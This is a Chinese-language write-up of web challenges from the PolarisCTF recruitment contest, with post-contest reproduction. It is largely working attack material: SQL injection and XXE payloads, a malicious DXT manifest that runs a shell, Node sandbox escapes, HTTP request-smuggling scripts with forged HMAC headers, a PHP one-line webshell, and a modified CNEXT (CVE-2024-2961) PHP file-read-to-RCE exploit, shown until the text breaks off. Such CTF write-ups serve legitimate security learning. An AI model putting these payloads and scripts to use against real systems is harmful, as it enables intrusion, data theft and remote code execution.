PolarisCTF 招新赛 wp&赛后复现

PolarisCTF 招新赛 wp&赛后复现

只打了 web,名次不高
其实真的打 ctf 越来越迷茫了,根本分不清楚你的对手到底是什么水平。我感觉难度不低的题目都被做的很快,我是跟着 ai 一起打的,一直到自己能走完整个路径才算做完一道题目。现在 ai 这么强力的环境下,抱着学习的心态在比赛里就是比不过 ai,根本没办法得到正反馈,越学越没有动力了。

WEB

Broken Trust

注册可以拿 uid,不是简单的 md5

xn1
cb88376f52534ae392c130813e4087e8

鉴权用的是 flask session

eyJyb2xlIjoidXNlciIsInVpZCI6ImNiODgzNzZmNTI1MzRhZTM5MmMxMzA4MTNlNDA4N2U4IiwidXNlcm5hbWUiOiJ4bjEifQ.accpsQ.avTqgULHiN_8wshbSuI7mWoPjOM
{'role': 'user', 'uid': 'cb88376f52534ae392c130813e4087e8', 'username': 'xn1'}

不是弱密钥

Refresh Session Data 这个功能比较奇怪,有点像一个单纯的查询行为,不会对已有 session 进行更新

随意构造了一下报错了,看信息发现是个 sql

测试发现是 sqlite

{"uid":"5352b6d8b9b24e03adfb830da045eb10' union select 1,2,sqlite_version()--"}
{"uid":"5352b6d8b9b24e03adfb830da045eb10' union select 1,2,(select group_concat(sql) from sqlite_master)--"}
{"uid":"5352b6d8b9b24e03adfb830da045eb10' union select 1,2,(select group_concat(uid) from users)--"}

得到 admin uid

add06ce8fab7453c9a20fdee1275902b

登陆后就是一个简单的任意文件读,不能绝对路径

一开始尝试读源码发现读不到,后来发现../有替换为空,绕过一下读到 flag

XMCTF{4a2c0e07-4175-4d17-beea-7bc550ef1001}

ez_python

一个简单的属性污染,污染 filename 即可任意文件读取

{
    "config" : {"filename":"/flag"}
}

XMCTF{175a1bbf-aa3f-4e9d-bdf3-83e1341a3f5e}

ezpollute

带 waf 的 nodejs 原型链污染,主要问题在要污染什么

for (let key in process.env) {
    if (key === 'NODE_OPTIONS') {
        const value = process.env[key] || "";

        const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

        if (!dangerousPattern.test(value)) {
            customEnv[key] = value;
        }
        continue;
    }
    customEnv[key] = process.env[key];
}

这一段对 NODE_OPTIONS 做了过滤,应该是污染这一块

翻文档发现了这个

尝试构造

{
  "constructor": {
    "prototype": {
      "NODE_OPTIONS": "--eval console.log(123)"
    }
  }
}

回显

{
  "status": "checked",
  "info": "node: --eval is not allowed in NODE_OPTIONS"
}

后续尝试了 --experimental-config-file=config 也是这样

使用这个通过报错回显出来了

XMCTF{cda440da-6a0d-4c04-b3fb-517c0aab426a}

only real

f12 泄露账密

<!-- xmuser/123456 -->

鉴权 jwt 是个弱密钥

伪造 admin jwt

后缀校验只做了前端,文件内容有 waf

上传的 php 访问是 500,很容易猜到有.htaccess

根据题目提示

也许只有一个是真的

猜测可能要找其它的点

发现很多文件

Dockerfile 直接泄露 flag 了

xmctf{xm_xxe_blind_success}

可能原本要盲打 xxe 吧。。

DXT

要求上传 dxt 文件,随便上传一个看信息

{"error":"Failed to unpack DXT file: failed to open dxt file: zip: not a valid zip file"}

搜了一下发现是打包本地 mcp 的一种文件类型,结构跟 zip 一样

传个普通 zip 报错如下

{"error":"Failed to unpack DXT file: manifest.json not found in dxt file"}

也就是要么需要尝试构造真实 dxt 文件来攻击,要么尝试命令注入

让 ai 帮我写个脚本来构造一个 rce dxt

import json
import zipfile
from pathlib import Path

OUT_DIR = Path("evil_dxt")
OUT_DIR.mkdir(exist_ok=True)

manifest = {
    "dxt_version": "0.1",
    "name": "evil",
    "display_name": "evil",
    "version": "1.0.0",
    "description": "evil dxt",
    "author": {
        "name": "ctf",
        "email": "ctf@example.com"
    },
    "server": {
        "type": "node",
        "entry_point": "dummy.txt",
        "mcp_config": {
            "command": "/bin/sh",
            "args": [
                "-c",
                "id; uname -a; sleep 9999"
            ]
        }
    }
}

(OUT_DIR / "manifest.json").write_text(
    json.dumps(manifest, ensure_ascii=False, indent=2),
    encoding="utf-8"
)

(OUT_DIR / "dummy.txt").write_text("placeholder", encoding="utf-8")

zip_path = OUT_DIR / "evil.zip"
dxt_path = OUT_DIR / "evil.dxt"

with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.write(OUT_DIR / "manifest.json", "manifest.json")
    zf.write(OUT_DIR / "dummy.txt", "dummy.txt")

if dxt_path.exists():
    dxt_path.unlink()

zip_path.rename(dxt_path)

print(f"built: {dxt_path}")

其实很好理解,就是通过 mcp 的启动命令来无回显执行

打一个反弹 shell

XMCTF{2d75a860-204d-4734-ac75-656e510948ad}

醉里挑灯看剑

没接触过 ts 的题,不太了解语言特性,先看看 web 页面

主要是一些端点披露,最显眼的就是 execute,然后就是一些认证相关

flag 可以通过 claim 路由获取

if (req.method === 'POST' && pathname === '/api/release/claim') {
    const claims = requireSession(req);
    const effectiveCap = await getEffectiveCapability(claims.sid);
    assertReleaseCapability(effectiveCap);

    if (claims.role !== 'guest') {
      throw new Error('release claim requires guest-origin session');
    }

    const body = await collectJsonBody(req);
    if (!body || typeof body !== 'object') {
      throw new Error('claim body must be object');
    }

    const payload = body as Record<string, unknown>;
    const nonce = typeof payload.nonce === 'string' ? payload.nonce.trim() : '';
    const proof = typeof payload.proof === 'string' ? payload.proof.trim() : '';

    if (!/^[a-f0-9]{24}$/i.test(nonce)) {
      throw new Error('invalid challenge nonce');
    }

    if (!/^[a-f0-9]{40}$/i.test(proof)) {
      throw new Error('invalid release proof format');
    }

    const expected = computeReleaseProof(claims.sid, nonce);
    if (proof.toLowerCase() !== expected) {
      throw new Error('release proof mismatch');
    }

    await consumeReleaseChallenge(claims.sid, nonce);

    sendJson(res, 200, {
      ok: true,
      sid: claims.sid,
      flag: FLAG_VALUE
    });
    return;
  }

需要进行一个 proof 验证机制,有点类似挑战相应

function computeReleaseProof(sid: string, nonce: string): string {
  return crypto.createHash('sha1').update(`${sid}:${nonce}:${RUNNER_KEY}`).digest('hex');
}

需要 sid nonce RUNNER_KEY 三个参数

sid 可以在 /api/auth/guest 拿到

{
  "ok": true,
  "token": "eyJleHAiOjE3NzQ2Njg4MzgwMDcsImlhdCI6MTc3NDY2NzMzODAwNywibm9uY2UiOiI5ZWM4NmZlNjYzN2JiNmJlIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF9kYTFiNTBiZDhjZWYifQ.76b7fbf9ea5a6ca71e4f6b954b3e666817b20efb4f2c2d17b8db4c84f8418dfc",
  "claims": {
    "sid": "sid_da1b50bd8cef",
    "role": "guest",
    "iat": 1774667338007,
    "exp": 1774668838007,
    "plan": "preview-lane",
    "nonce": "9ec86fe6637bb6be"
  }
}

nonce 需要在 /api/release/challenge 拿到,但是有前置条件

function assertReleaseCapability(cap: CapabilityView): void {
  if (cap.role !== 'maintainer' || cap.lane !== 'release') {
    throw new Error('release lane requires maintainer capability');
  }
}

获取能力是这样的

async function getEffectiveCapability(sid: string): Promise<CapabilityView> {
  const rows = await db`
    SELECT
      id,
      sid,
      COALESCE(role, 'maintainer') AS role,
      COALESCE(lane, 'release') AS lane,
      source,
      note,
      stamp
    FROM capability_snapshots
    WHERE sid = ${sid}
    ORDER BY id DESC
    LIMIT 1
  `;

  if (!Array.isArray(rows) || rows.length < 1) {
    throw new Error('capability snapshot missing');
  }

  return rows[0] as CapabilityView;
}

会发现 role 和 lane 为 null 时就能绕过

/api/caps/sync 会对 cap 做一次同步

async function appendCapabilityRows(rows: Array<Record<string, unknown>>): Promise<void> {
  if (!rows.length) {
    return;
  }

  const firstRowKeys = Object.keys(rows[0]);
  const shapedRows = rows.map((row) => {
    const out: Record<string, unknown> = {};
    for (const key of firstRowKeys) {
      out[key] = Object.prototype.hasOwnProperty.call(row, key) ? row[key] : null;
    }
    return out;
  });

  await db`INSERT INTO capability_snapshots ${db(shapedRows as unknown as Record<string, unknown>[])}`;
}

其中这个函数调用了 const firstRowKeys = Object.keys(rows[0]);

意味着只要第一个 row 不存在 role 和 lane 字段,后续的 row 也会被塑形丢弃这两个字段

构造

{
  "ops": [
    {
      "source": "aaa",
      "note": "aaa",
      "keepRole": false,
      "keepLane": false
    },
    {
      "source": "zzz",
      "note": "zzz"
    }
  ]
}

这样 aaa 就会被 normalizeSyncRows 函数最后的 sort 放到第一个,zzz 就是我们需要的 cap 了

触发挑战拿到 nonce

86382b70b7569c45e70b11a3

剩下一个 RUNNER_KEY 需要从 execute 路由拿

一个字符串黑名单绕过

{"expression":"[]['filter']['con'+'structor']('return pro'+'cess.env.RUNNER_KEY')()"}
{
  "ok": true,
  "cap": {
    "id": 20,
    "role": "maintainer",
    "lane": "release",
    "source": "zzz"
  },
  "result": "u66NDT8yJMDFf7px47u81qbMO7pPcBvyHPIL4OIZ"
}

这里 token 过期了,换了个 token 拿一次

sid_cbc32d190ae5:f89d9083766d0e06160106a3:u66NDT8yJMDFf7px47u81qbMO7pPcBvyHPIL4OIZ
d185c7cde75cdf1fef4389a74b20629495e679ef

XMCTF{26118ada-24d6-4a9b-88fd-721f0003872e}

Not a Node

改 reloadCount=0 进题目

说是一个沙箱,首先肯定不考虑沙箱绕过,做下信息收集

提示拦截模式是静态字符串检查

看了一圈没什么,还是回来看沙箱绕过了(

不太了解 js 的沙箱,这题跟着 ai 做了

首先页面泄露了 __runtime 的几个函数,还有提示

_运行时通过 _runtime 全局对象暴露文档化 API。平台编排可能依赖未列出的内部绑定。

尝试枚举运行时的自我属性

import requests

BASE = "http://3000-b492f02d-e677-4fb7-9e38-77dd6aace45b.challenge.ctfplus.cn"

code = r'''
export default {
  async fetch(request) {
    return new Response(JSON.stringify({
      names: Object.getOwnPropertyNames(__runtime),
      ownKeys: Reflect.ownKeys(__runtime)
    }));
  }
}

'''.strip()

def main():
    r = requests.post(
        f"{BASE}/api/deploy",
        json={
            "code": code,
            "name": "read-flag",
            "region": "auto",
        },
        timeout=30,
    )
    r.raise_for_status()
    data = r.json()

    endpoint = data["endpoint"]
    r2 = requests.get(f"{BASE}{endpoint}", timeout=30)
    r2.raise_for_status()

    print("[+] response:")
    print(r2.text)

if __name__ == "__main__":
    main()
{"names":["hash","strlen","platform","perf","encoding","_debug","_secrets","_internal"],"ownKeys":["hash","strlen","platform","perf","encoding","_debug","_secrets","_internal"]}

比较可疑的是 _secrets _debug _internal

继续往下探测

_debug : ["enabled","trace","dump","inspect"]
_secrets : ["get","list"]
_internal : ["debug","lib"]

尝试走_secrets

export default {
  async fetch(request) {
    return new Response(
        __runtime._secrets.list()
    );
  }
}

#[REDACTED] — use 'bunedge secrets' CLI to manage

export default {
  async fetch(request) {
    return new Response(
        __runtime._secrets.get('/flag')
    );
  }
}

#Access denied: insufficient privileges for key '/flag'

继续发现_internal.lib 下有 symbols,下面有

["_0x72656164","_0x6c697374"]

容易发现是 hex,页面里的 encoding.hexEncode 函数也有提示,对应的是 read 和 list

list 函数是读目录,read 应该是读文件

直接

export default {
  async fetch(request) {
    return new Response(
        __runtime._internal.lib.symbols._0x72656164('/flag')
    );
  }
}

会有

ERROR: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received "/app/\u0000\u0000\u0000\u0000\u0000"

一方面发现是目录拼接,另一方面存在一个字符编码问题

最终 exp

import requests

BASE = "http://3000-b492f02d-e677-4fb7-9e38-77dd6aace45b.challenge.ctfplus.cn"

code = r'''
export default {
  async fetch(request) {
    return new Response(JSON.stringify({
      names: Object.getOwnPropertyNames(__runtime._internal.lib.symbols),
      ownKeys: Reflect.ownKeys(__runtime._internal.lib.symbols)
    }));
  }
}

'''.strip()

code2 = r'''
export default {
  async fetch(request) {
    return new Response(
        __runtime._internal.lib.symbols._0x72656164(new TextEncoder().encode("../flag"))
    );
  }
}

'''.strip()

def main():
    r = requests.post(
        f"{BASE}/api/deploy",
        json={
            "code": code2,
            "name": "read-flag",
            "region": "auto",
        },
        timeout=30,
    )
    r.raise_for_status()
    data = r.json()

    endpoint = data["endpoint"]
    r2 = requests.get(f"{BASE}{endpoint}", timeout=30)
    r2.raise_for_status()

    print("[+] response:")
    print(r2.text)

if __name__ == "__main__":
    main()
XMCTF{44862f12-a7d2-4f2a-a52b-047166faacd6}

AutoPypy

可以上传和执行 py 文件

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return 'No file part', 400
    
    file = request.files['file']
    filename = request.form.get('filename') or file.filename
    
    save_path = os.path.join(UPLOAD_FOLDER, filename)
    
    save_dir = os.path.dirname(save_path)
    if not os.path.exists(save_dir):
        try:
            os.makedirs(save_dir)
        except OSError:
            pass

    try:
        file.save(save_path)
        return f'成功上传至: {save_path}'
    except Exception as e:
        return f'上传失败: {str(e)}', 500

上传逻辑没做校验,可以路径穿越

执行逻辑会启动新进程调用 launcher.py

一个很直观的思路是我们直接写一个 py 去覆盖 launcher.py,即可执行任意代码

import os
print(open('/flag').read())

发现有权限问题

这里后续是 ai 给的思路

执行新的 py 文件时,site 模块会自动导入和执行,因此我们可以尝试覆盖它的内容

这里选择覆盖 sitecustomize.py

从响应包头 Python/3.10.19 可以确定路径为

/usr/local/lib/python3.10/site-packages

当然也可以沙箱直接看

import site, sys
print("site", site.getsitepackages())
print("sys_path", sys.path)

随后做任意执行

xmctf{699f4568de00f2df35f98005567398d3}

Polyglot's Paradox

像是一个云服务

{
    "name": "Polyglot's Paradox v2",
    "version": "2.0.0-hell",
    "description": "A hardened sandbox service behind a protective proxy. No source code for you.",
    "endpoints": [
        "GET  /                    - Welcome page",
        "GET  /api/info            - This endpoint",
        "POST /api/sandbox/execute - Execute code in sandbox",
        "GET  /debug/prototype     - Prototype chain health monitor",
        "GET  /debug/config        - Current feature flags"
    ],
    "note": "There are internal endpoints that the proxy will not let you reach... directly.",
    "security": "Code execution is protected by WAF."
}

存在内部服务,应该要找 ssrf

/debug/prototype

{"message":"Prototype chain health monitor","status":{"polluted":null,"isAdmin":null,"rce":null},"wafStatus":"ACTIVE","sandboxStatus":"HARDENED"}

/debug/config

{"message":"Current feature configuration","features":{"sandbox":true,"logging":true,"astWaf":true,"sandboxHardening":true},"security":{"maxCodeLength":512},"note":"These values are controlled by the server configuration."}

有一些原型链污染?还有沙箱(好多沙箱

抓包发现请求头有

X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only

马上想到可以打一个 CL.TE,那现在的问题是要打内网的哪个服务

Dirsearch 扫到很多 admin 路由

回显都是一致的

{"error":"Access denied","message":"This path is restricted by the proxy gateway.","hint":"The proxy and the backend don't always agree on where a request ends..."}

这里其实也提示到了 CLTE,尝试构造请求

这里得上 bp 了,yakit 会自动计算 CL

到这有点找不到需要访问哪里,后面靠 ai 找到了 internal/admin

{
    "message": "You've reached the internal admin panel. The proxy didn't stop you.",
    "congratulations": "Step 2 complete: Proxy ACL bypassed via HTTP Request Smuggling.",
    "next_steps": [
        "GET  /internal/secret-fragment  - Collect HMAC secret fragments",
        "POST /internal/config           - Update server config (HMAC auth required)",
        "POST /internal/sandbox/execute  - Execute code in sandbox (HMAC auth required)"
    ],
    "authentication": {
        "method": "HMAC-SHA256",
        "headers": {
            "X-Internal-Token": "HMAC-SHA256 hex digest",
            "X-Timestamp": "Current time in milliseconds (Unix epoch)",
            "X-Nonce": "Unique random string (single use)"
        },
        "signature_format": "HMAC-SHA256(key, timestamp + ':' + nonce + ':' + requestBody)",
        "note": "The HMAC secret can be found at /internal/secret-fragment"
    }
}

简单来说就是需要构造一下 hmac 验证,然后就可以尝试沙箱 rce

{
    "message": "HMAC Secret Fragments",
    "description": "Concatenate all fragment values in order to reconstruct the HMAC secret.",
    "fragments": [
        {
            "index": 0,
            "value": "z3_w",
            "hex": "7a335f77"
        },
        {
            "index": 1,
            "value": "0nt_",
            "hex": "306e745f"
        },
        {
            "index": 2,
            "value": "A_gr",
            "hex": "415f6772"
        },
        {
            "index": 3,
            "value": "i1fr",
            "hex": "69316672"
        },
        {
            "index": 4,
            "value": "1e0d",
            "hex": "31653064"
        },
        {
            "index": 5,
            "value": "!!!",
            "hex": "212121"
        }
    ],
    "total_fragments": 6,
    "secret_length": 23,
    "verification": {
        "md5": "c6d0df23dc2e89a88fa8f6a7fc624cb7",
        "hint": "MD5 of the full secret for verification after reconstruction"
    },
    "next_step": "Use the secret to sign requests to /internal/config"
}

搞半天要自己拼

z3_w0nt_A_gri1fr1e0d!!!

然后构造 hmac

import hmac
import hashlib
import time

secret = b"z3_w0nt_A_gri1fr1e0d!!!"
timestamp = str(int(time.time() * 1000))
nonce = "xnftrone"
body = "{}"

token = hmac.new(
    secret,
    f"{timestamp}:{nonce}:{body}".encode(),
    hashlib.sha256
).hexdigest()

print(f"""
X-Internal-Token: {token}
X-Timestamp: {timestamp}
X-Nonce: {nonce}
""")

这里发包死活发不上,让 ai 帮忙写个脚本,改了一下,注意不要重放 nonce

import secrets
import socket
import hmac
import hashlib
import time

secret = b"z3_w0nt_A_gri1fr1e0d!!!"
timestamp = str(int(time.time() * 1000))
nonce = secrets.token_hex(8)
body = "{}"

token = hmac.new(
    secret,
    f"{timestamp}:{nonce}:{body}".encode(),
    hashlib.sha256
).hexdigest()

HOST = "nc1.ctfplus.cn"
PORT = 36115

second = f"""POST /internal/config HTTP/1.1\r
Host: {HOST}:{PORT}\r
X-Internal-Token: {token}\r
X-Timestamp: {timestamp}\r
X-Nonce: {nonce}\r
Content-Length: {len(body.encode())}\r
\r
{body}
"""

fbody = f"""0\r
\r
{second}"""

raw = f"""GET / HTTP/1.1\r
Host: {HOST}:{PORT}\r
Content-Type: application/json\r
Content-Length: {len(fbody.encode())}\r
Transfer-Encoding: chunked\r
\r
{fbody}"""

s = socket.create_connection((HOST, PORT), timeout=8)
s.sendall(raw.encode())

data = b""
while True:
    try:
        chunk = s.recv(65535)
    except socket.timeout:
        break
    if not chunk:
        break
    data += chunk

s.close()
print(data.decode("latin1", "replace"))

然后就可以 update config 去关闭 waf

{"features":{"sandbox":false,"astWaf":false,"sandboxHardening":false}}

然后尝试 execute

{"code":"require('child_process').exec('ls /')"}

返回 require is not defined,说明缺少上下文,沙箱还是在的,要逃逸一下

ai do it well

import secrets
import socket
import hmac
import hashlib
import time

secret = b"z3_w0nt_A_gri1fr1e0d!!!"
timestamp = str(int(time.time() * 1000))
nonce = secrets.token_hex(8)
body = """{"code":"this.constructor.constructor(\\"return process.getBuiltinModule('child_process').execSync('cat /flag').toString()\\")()"}"""

token = hmac.new(
    secret,
    f"{timestamp}:{nonce}:{body}".encode(),
    hashlib.sha256
).hexdigest()

HOST = "nc1.ctfplus.cn"
PORT = 36115

second = f"""POST /internal/sandbox/execute HTTP/1.1\r
Host: {HOST}:{PORT}\r
X-Internal-Token: {token}\r
X-Timestamp: {timestamp}\r
X-Nonce: {nonce}\r
Content-Length: {len(body.encode())}\r
\r
{body}
"""

fbody = f"""0\r
\r
{second}"""

raw = f"""GET / HTTP/1.1\r
Host: {HOST}:{PORT}\r
Content-Type: application/json\r
Content-Length: {len(fbody.encode())}\r
Transfer-Encoding: chunked\r
\r
{fbody}"""

s = socket.create_connection((HOST, PORT), timeout=8)
s.sendall(raw.encode())

data = b""
while True:
    try:
        chunk = s.recv(65535)
    except socket.timeout:
        break
    if not chunk:
        break
    data += chunk

s.close()
print(data.decode("latin1", "replace"))
XMCTF{cc794ae5-e949-4eb5-99cf-cb7d0de5af79}

only_real_revenge

按原思路伪造 cookie

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc0NzcyMTYyfQ.8dCk8jLd5tlrlHDqDZSSIulGacsWh2OrOcg577-TV3g

扫目录没发现有价值的东西了

通过上次的 flag 提示,想到要打 xxe

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123</password></user>

用 utf16 编码绕过关键字检测

iconv -f utf8 -t utf-16 read.xml > read-16.xml

好像行不通

又尝试了一次 php,发现传上去访问是 500,但是带参数就正常了

<?=$_GET[0]($_GET[1])?>

xmctf{624ba483-38f8-4809-a216-1449aa832af1}

头像上传器 | unsolved

上传是白名单后缀,还有重命名,不好绕过

头像位置渲染的方式是 /api/avatar.php?ts=1774673169224

通过上传文件更新资料的方式也可以读到这个文件,但不是文件包含

资料更新也对文件名做了校验

注意到白名单有 svg,所以尝试一下 svg xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

上传后保存资料,通过 avatar.php 访问

发现可以进行文件读取,读不到 flag 和环境变量

读一下源码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/api/upload.php">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>
<?php
declare(strict_types=1);

require __DIR__ . '/bootstrap.php';

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    json_response(['ok' => false, 'error' => 'Only POST'], 405);
}

require_login();

if (!isset($_FILES['file'])) {
    json_response(['ok' => false, 'error' => '请选择文件。'], 400);
}

$file = $_FILES['file'];
if ($file['error'] !== UPLOAD_ERR_OK) {
    json_response(['ok' => false, 'error' => '上传失败。'], 400);
}

$maxSize = 5 * 1024 * 1024;
if ($file['size'] > $maxSize) {
    json_response(['ok' => false, 'error' => '文件过大,最大 5MB。'], 400);
}

$orig = (string)($file['name'] ?? '');
$ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION));
$allowed = ['png', 'jpg', 'jpeg', 'gif', 'webp', 'svg'];
if (!in_array($ext, $allowed, true)) {
    json_response(['ok' => false, 'error' => '不支持的文件类型。'], 400);
}

$stored = bin2hex(random_bytes(8)) . '.' . $ext;
$target = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . $stored;
if (!move_uploaded_file($file['tmp_name'], $target)) {
    json_response(['ok' => false, 'error' => '保存失败。'], 500);
}

json_response(['ok' => true, 'name' => $stored]);
<?php
declare(strict_types=1);

require __DIR__ . '/bootstrap.php';

if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
    json_response(['ok' => false, 'error' => 'Only GET'], 405);
}

$user = require_login();
$avatar = (string)($user['avatar_path'] ?? '');
if ($avatar === '') {
    json_response(['ok' => false, 'error' => '未设置头像。'], 404);
}

if (!allowed_avatar_name($avatar)) {
    json_response(['ok' => false, 'error' => '头像文件名不合法。'], 400);
}

$path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . $avatar;
if (!is_file($path)) {
    json_response(['ok' => false, 'error' => '头像文件不存在。'], 404);
}
//很高兴你发现了这里,接下来该这么rce呢?
$ext = strtolower(pathinfo($avatar, PATHINFO_EXTENSION));
if ($ext === 'svg') {
    header('Content-Type: image/svg+xml; charset=utf-8');
    $dom = new DOMDocument();
    $dom->resolveExternals = true;
    $dom->substituteEntities = true;
    $dom->load($path, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR);
    echo $dom->saveXML();
    exit;
}

$mime = mime_content_type($path) ?: 'application/octet-stream';
header('Content-Type: ' . $mime);
header('Content-Length: ' . filesize($path));
readfile($path);

这个源码里有注释提示了,所以从这里入手

第一想法是能不能打 filter 链,因为这里最后触发读文件的其实也就是这个 php 文件

构造测试链,发现实际无回显

搜索资料发现使用 expect 的打法,尝试依然无果

复现:

看了群里的师傅们聊这题后续是个 CVE-2024-2961,一个 ctf 非常常见的 cve 了。当时其实有想到有没有可能是打这个,但是之前一直管这个洞叫 LFI2RCE,看到这里不是文件包含就没有继续考虑。一方面是一个认知偏差吧,另一方面确实对这个 cve 没有很好的了解,停留在脚本小子了。

事实上,CVE-2024-2961 的 sink 点不在于文件包含,而在于 php 伪协议。基本原理是利用 php 伪协议调用 iconv 函数,通过字符集 ISO-2022-CN-EXT 的特性将三字节字符解码为四字节,从而造成缓冲区的溢出。

如果能够配合可读取的文件,就能获取到 PHP 堆地址和 libc,然后得到 system 函数的地址打 rce

网上的现成脚本基于一个文件包含的 php 文件来进行攻击,我们需要对其进行修改

这里跟 ai 弄了半天都没成,关注了一下一些师傅的博客发现有个坑

php://filter 是作为外部实体的 SYSTEM 标识符传入 DOMDocument::load(),因此它首先要经过 libxml 的 URI 解析,而不是直接进入 PHP 用户态流处理。| 在这种 URI 语境下不属于稳定、规范的路径分隔字符,容易在外部实体解析阶段被拒绝、归一化或导致后续路径解释异常,从而使整条 filter chain 无法原样传递给底层 stream wrapper。因此需要改用 /,让 payload 同时满足 URI 语法和 php://filter 的路径式解析规则。

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# _TODO Parse LIBC to know if patched_
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#

from __future__ import annotations

import base64 as pybase64
import re
import secrets
import string
import tempfile
import zlib

from dataclasses import dataclass
from pathlib import Path as LocalPath
from requests import Response, Session
from requests.exceptions import ConnectionError, ChunkedEncodingError
from urllib.parse import urljoin
from xml.sax.saxutils import escape

from pwn import *
from ten import *

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
    _"""Target adapter for the CTF avatar XXE arbitrary file read."""_

_    _def __init__(self, url: str, username: str | None = None, password: str | None = None) -> None:
        self.url = url.rstrip("/") + "/"
        self.session = Session()
        self.session.trust_env = False
        self.username = username or self._random_username()
        self.password = password or "p12345678"
        self.display_name = self.username
        self._login_or_register()

    def _random_username(self) -> str:
        alphabet = string.ascii_lowercase + string.digits
        return "u" + "".join(secrets.choice(alphabet) for _ in range(8))

    def _post_json(self, endpoint: str, payload: dict) -> dict:
        response = self.session.post(urljoin(self.url, endpoint), json=payload, timeout=15)
        if response.status_code >= 500:
            response.raise_for_status()
        return response.json()

    def _login_or_register(self) -> None:
        login = self._post_json("api/login.php", {"username": self.username, "password": self.password})
        if not login.get("ok"):
            register = self._post_json("api/register.php", {"username": self.username, "password": self.password})
            if not register.get("ok"):
                failure(f"Unable to register user: {register}")
            login = self._post_json("api/login.php", {"username": self.username, "password": self.password})
            if not login.get("ok"):
                failure(f"Unable to login user: {login}")
        self.display_name = login.get("user", {}).get("display_name", self.username)

    def _upload_svg(self, content: str) -> str:
        response = self.session.post(
            urljoin(self.url, "api/upload.php"),
            files={"file": ("x.svg", content.encode(), "image/svg+xml")},
            timeout=15,
        )
        response.raise_for_status()
        data = response.json()
        if not data.get("ok") or "name" not in data:
            failure(f"Upload failed: {data}")
        return data["name"]

    def _set_avatar(self, filename: str) -> None:
        data = self._post_json(
            "api/update_profile.php",
            {"display_name": self.display_name, "avatar_name": filename},
        )
        if not data.get("ok"):
            failure(f"Failed to update profile: {data}")

    def send(self, path: str) -> Response:
        _"""Sends the URI to the XXE sink and returns /api/avatar.php response."""_
_        _uri = escape(path, {'"': "&quot;"})
        payload = (
            '<?xml version="1.0" encoding="UTF-8"?>\n'
            f'<!DOCTYPE svg [<!ENTITY xxe SYSTEM "{uri}">]>\n'
            '<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>'
        )
        filename = self._upload_svg(payload)
        self._set_avatar(filename)
        return self.session.get(urljoin(self.url, "api/avatar.php"), timeout=15)

    def download(self, path: str) -> bytes:
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        match = re.search(r"<text>(.*?)</text>", response.text, flags=re.S)
        if not match:
            failure(f"Unexpected avatar response: {response.text[:200]!r}")
        return pybase64.b64decode(match.group(1).strip())


@entry
@arg("url", "Target URL")
@arg("username", "Login username. Random account is created when omitted.")
@arg("password", "Login password. Defaults to p12345678 when omitted.")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    _"""CNEXT exploit: RCE using a file read primitive in PHP."""_

_    _url: str
    command: str
    username: str = None
    password: str = None
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        self.remote = Remote(self.url, self.username, self.password)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -> None:
        _"""Checks whether the target is reachable and properly allows for the various_
_        wrappers and filters that the exploit needs._
_        """_

_        _def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            return text.encode() == result

        text = tf.random.string(48).encode()
        base64 = b64(text, misalign=True).decode()
        path = f"data:text/plain;base64,{base64}"

        result = safe_download(path)

        if text not in result:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

        msg_info("The [i]data://[/] wrapper works")

        text = tf.random.string(48)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]php://filter/[/] wrapper does not work")

        msg_info("The [i]php://filter/[/] wrapper works")

        text = tf.random.string(48)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
